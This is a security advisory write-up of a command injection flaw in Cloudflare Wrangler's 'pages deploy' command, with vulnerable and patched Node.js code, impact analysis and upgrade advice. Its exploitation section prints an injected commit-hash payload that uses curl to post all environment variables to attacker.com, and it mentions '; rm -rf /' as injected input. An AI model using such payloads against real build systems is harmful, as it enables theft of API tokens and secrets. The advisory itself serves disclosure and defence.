Jan 21, 2026·6 min read·40 visits
Cloudflare Wrangler, the CLI for Workers and Pages, failed to sanitize the `--commit-hash` argument in the `pages deploy` command. By passing this input directly to a shell via `execSync`, the tool allowed attackers to escape the intended `git` command and execute arbitrary OS commands. This affects CI/CD pipelines particularly hard, potentially exposing API tokens and secrets. Fixed in versions 4.59.1 and 3.114.17.
A high-severity command injection vulnerability in Cloudflare Wrangler's `pages deploy` command allows attackers to execute arbitrary code via a crafted commit hash argument.
We often treat our developer tools like trusted pets. We install them globally, give them access to our most sensitive environment variables, and weave them deep into our automated build pipelines. But CVE-2026-0933 serves as a harsh reminder that even the most polished tools from major vendors can harbour elementary mistakes.
Cloudflare Wrangler is the go-to CLI for managing Cloudflare Workers and Pages. It handles everything from local development to production deployment. In automated environments, the wrangler pages deploy command is the workhorse. It takes your built assets and ships them to the edge. To track deployments, it tries to associate the upload with a specific Git commit hash.
And here lies the problem: in its zeal to be helpful, Wrangler trusted the input provided for that commit hash implicitly. If you can control that input—perhaps through a pull request title, a branch name in a CI job, or a manual trigger—you aren't just deploying a static site. You are handing the CI runner a command script and asking it to run it with the privileges of the deployment process. That usually means access to CLOUDFLARE_API_TOKEN, AWS keys, and whatever else is lurking in your environment variables.
The root cause of this vulnerability is a tale as old as time (or at least as old as Node.js): the misuse of child_process.execSync. In JavaScript, template literals (strings wrapped in backticks) are incredibly convenient. They let you embed variables directly into strings. But convenience is the enemy of security.
The developers needed to fetch the commit message for a given hash using Git. The logic seemed straightforward: run git show and capture the output. However, they constructed the command by concatenating the user-provided hash directly into the shell string.
When you use execSync with a single string argument, Node.js doesn't just spawn the git binary. It spawns a system shell (/bin/sh on Unix, cmd.exe on Windows) to parse and execute that string. The shell understands that characters like ;, &&, |, and $ have special meanings. If the input contains these characters, the shell interprets them as logic, not as text. This is the difference between handing a cashier a note that says "robbery" (data) and handing them a gun (code).
Let's look at the actual code from packages/wrangler/src/pages/deploy.ts. This snippet shows exactly how the vulnerability manifested and how it was eventually patched in commit 99b1f328a9afe181b49f1114ed47f15f6d25f0be.
The Vulnerable Code:
In the vulnerable version, the code blindly interpolates commitHash into the command string:
// VULNERABLE IMPLEMENTATION
import { execSync } from "node:child_process";
if (!commitMessage) {
// The shell sees: git show -s --format=%B [YOUR INPUT HERE]
commitMessage = execSync(`git show -s --format=%B ${commitHash}`)
.toString()
.trim();
}The Fix:
The remediation involved switching from execSync (shell execution) to execFileSync (direct process execution). By passing arguments as an array, the runtime invokes the executable directly via execve (or equivalent), bypassing the shell entirely. There is no shell to interpret the semicolon, so ; rm -rf / becomes a literal argument passed to git, which git will likely just complain about.
// PATCHED IMPLEMENTATION
import { execFileSync } from "node:child_process";
if (!commitMessage) {
// The OS sees: executable "git" with arguments ["show", "-s", "...", commitHash]
commitMessage = execFileSync("git", [
"show",
"-s",
"--format=%B",
commitHash,
]).toString().trim();
}> [!NOTE]
> While this fixes the Command Injection (RCE), astute readers will notice they did not include the end-of-options separator (--) before commitHash. This leaves the door open for Argument Injection, where an attacker could pass flags like --help or -p to alter Git's behavior, though this is significantly less dangerous than RCE.
Exploiting this is trivially easy if you can influence the --commit-hash argument. In a typical CI/CD pipeline, this argument might be populated from a variable like $CI_COMMIT_SHA. If an attacker can trigger a build with a custom tag or manual input, they own the runner.
Here is how an attacker creates a payload to exfiltrate environment variables:
CLOUDFLARE_API_TOKEN.commitHash variable.a1b2c3d; curl -X POST -d "$(env)" https://attacker.com/collectWhen Wrangler executes this, the underlying shell command becomes:
git show -s --format=%B a1b2c3d; curl -X POST -d "$(env)" https://attacker.com/collectThe shell executes git show (which might fail or succeed, it doesn't matter), sees the semicolon separator, and then immediately executes the curl command. The $(env) expands to the full environment list, which is posted to the attacker's listener.
The CVSS score of 7.7 (High) is justified because while this requires local context (access to the CLI arguments), that context is the default state for automation. The impact here is not just about crashing a build; it's about Supply Chain security.
1. Credential Theft: The most immediate risk is the theft of long-lived API tokens. With a Cloudflare API token, an attacker can modify DNS records, deploy malicious Workers, or shut down protection mechanisms.
2. Build Artifact Poisoning: Since the attacker has code execution on the build runner, they can modify the static assets before they are uploaded to Cloudflare Pages. They could inject a crypto miner or a credit card skimmer into your JavaScript bundles. The deployment logs would look normal, reporting a successful upload, while your users are served compromised code.
3. Lateral Movement: CI runners often have privileged access to other parts of the infrastructure (e.g., access to private NPM registries, Docker registries, or AWS roles). A compromise here is a pivot point to the rest of the cloud environment.
The immediate fix is to upgrade Wrangler. If you are pinning versions in your package.json (which you should be), bump the version number immediately.
Fixed Versions:
4.59.1 or later.3.114.17 or later.If you are stuck on v2, you are out of luck—it is End-of-Life. Upgrade to v3/v4 immediately.
Developer Takeaway:
Never, ever use exec or execSync with unsanitized strings if you can avoid it. Always prefer execFile, spawn, or execFileSync which accept arguments as an array. This separates the command from the arguments at the OS level, neutralizing shell injection attacks completely. If you must use a shell, use a library like shell-quote to properly escape inputs, but honestly, just don't do it.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Wrangler Cloudflare | >= 4.0.0 < 4.59.1 | 4.59.1 |
Wrangler Cloudflare | >= 3.0.0 < 3.114.17 | 3.114.17 |
Wrangler Cloudflare | >= 2.0.15 < 3.0.0 | N/A (EOL) |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS v4.0 | 7.7 (High) |
| Attack Vector | Network / Local (Context dependent) |
| EPSS Score | 0.51% |
| Exploit Status | POC Available |
| Vulnerable Function | execSync() in pages/deploy.ts |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting MLflow tracking servers prior to version 3.15.0. It allows unauthenticated remote attackers to bypass outbound request destination filters using DNS rebinding or HTTP redirects. This exposure risks compromising sensitive cloud infrastructure metadata and internal microservices.
This technical report details a missing authorization vulnerability (CVE-2026-69146 / GHSA-3p64-6gvh-82v5) affecting the MLflow platform from version 3.13.0 to 3.15.0. When MLflow is configured with the built-in basic-auth plugin, authenticated users can bypass run-level UPDATE authorization checks, enabling unauthorized dataset and model lineage metadata injection.
MLflow prior to version 3.15.0 fails to perform proper authorization checks when registering model versions, allowing authenticated users with access to a registered model to link and access artifacts from runs and models belonging to other users without authorization.
A high-severity Regular Expression Denial of Service (ReDoS) vulnerability in the sqlparse Python library prior to version 0.6.0 allows unauthenticated remote attackers to trigger CPU exhaustion and application denial of service via crafted SQL inputs containing unmatched dollar-quoted literals or unclosed multiline comments.
A high-severity logic inversion flaw in the uniget CLI completely bypasses Sigstore cryptographic signature verification on metadata files by default. If an attacker can poison the package metadata cache or repository, they can execute arbitrary OS commands under the privileges of the active user.
A technical analysis of CVE-2026-59903 in Netty's HTTP CORS handler, where the CorsHandler overwrites existing application Vary headers with Origin, leading to unauthorized caching of sensitive information.